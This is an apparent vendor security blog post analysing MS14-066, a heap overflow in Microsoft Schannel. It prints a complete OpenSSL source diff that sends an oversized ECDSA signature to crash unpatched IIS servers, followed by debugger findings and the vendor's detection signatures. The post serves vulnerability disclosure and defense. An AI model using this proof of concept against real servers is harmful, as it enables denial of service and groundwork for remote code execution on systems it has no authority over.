Microsoft recently released a patch for a critical vulnerability in Microsoft Secure Channel (aka Schannel). This vulnerability is being referred to as MS14-066.
A description of how to trigger the MS14-066 ECDSA Heap Buffer Overflow vulnerability was posted by BeyondTrust, which also explained the research method used in narrowing down where this vulnerability presented itself. Their article mentions leveraging the OpenSSL s_client to authenticate to an IIS server, and by patching the s3_cInt.c file to fuzz the particular code path they were able to trigger a crash in memcpy. (BeyondTrust’s research team is to be thanked for saving others in our community a lot of work and time!)
Our researchers were able to write a demonstration program by patching the OpenSSL 1.0.1 source code to trigger this specific vulnerability and show how this could be used for exploitation.
The diff output is provided below:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 |
diff -du s3_clnt.c.bak s3_clnt.c --- s3_clnt.c.bak 2014-11-18 13:17:08.011936659 -0800 +++ s3_clnt.c 2014-11-18 13:18:05.895933730 -0800 @@ -3062,8 +3062,50 @@ ERR_R_ECDSA_LIB); goto err; } + + ECDSA_SIG *pecdsa_sig; + unsigned char *psig, *r, *s, *p1; + int rlen, slen; + + rlen = 0x10; /* first memcpy size */ + slen = 0x2800; /* second memcpy size */ + if((rlen + slen)> 0xffff) + { + SSLerr(SSL_F_SSL3_SEND_CLIENT_VERIFY, + ERR_R_ECDSA_LIB); + goto err; + } + + + r = (unsigned char *) OPENSSL_malloc(rlen); + s = (unsigned char *) OPENSSL_malloc(slen); + psig = (unsigned char *) OPENSSL_malloc(rlen + slen + 0x60); + memset(r, 'A', rlen); + memset(s, 'B', slen); + pecdsa_sig = ECDSA_SIG_new(); + + if(BN_bin2bn(r, rlen, pecdsa_sig->r) == NULL) + { + printf("BN_bin2bn r failed.\n"); + ECDSA_SIG_free(pecdsa_sig); + goto err; + } + if(BN_bin2bn(s, slen, pecdsa_sig->s) == NULL) + { + printf("BN_bin2bn s failed.\n"); + ECDSA_SIG_free(pecdsa_sig); + goto err; + } + OPENSSL_free(r); + OPENSSL_free(s); + memset(psig, 0, rlen + slen + 0x60); + p1 = psig; + j = i2d_ECDSA_SIG(pecdsa_sig, &p1); + memcpy(p + 2, psig , j); s2n(j,p); n=j+2; + ECDSA_SIG_free(pecdsa_sig); + OPENSSL_free(psig); } else #endif |
You can change the rlen and slen easily and send the packet via OpenSSL s_client to an unpatched IIS server.
The following is WinDBG output showing the entry into the schannel function iCM_DecodeSigAndReverse:
Figure 1: Debugger output showing entry into schannel iCM_DecodeSigAndReverse function.
There are two vulnerable memcpy function calls. At each memcpy we can see that the size matches the rlen and slen sized in the patched OpenSSL code above which means a remote user can control the size passed into those functions.
Figure 2: Debugger output showing memcpy rlen and slen manipulation.
The heap has been overflowed and a code 0xc0000005 (Access violation) has been generated due to an invalid memory dereference.
Figure 3: Debugger output showing the resulting heap overflow access violation.
Palo Alto Networks has released threat signatures 37057-37061 to protect against this vulnerability. Our protocol decoder-based analysis statefully decodes the protocol and then intelligently applies signatures to detect vulnerability exploits.
Our Advanced Endpoint Protection system will also protect against this vulnerability by using an innovative approach to prevent known exploitation techniques that allow an attacker to gain control of the system. Learn more about Advanced Endpoint Protection here.
Get updates from
Palo Alto
Networks!
Sign up to receive the latest news, cyber threat intelligence and research from us
By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.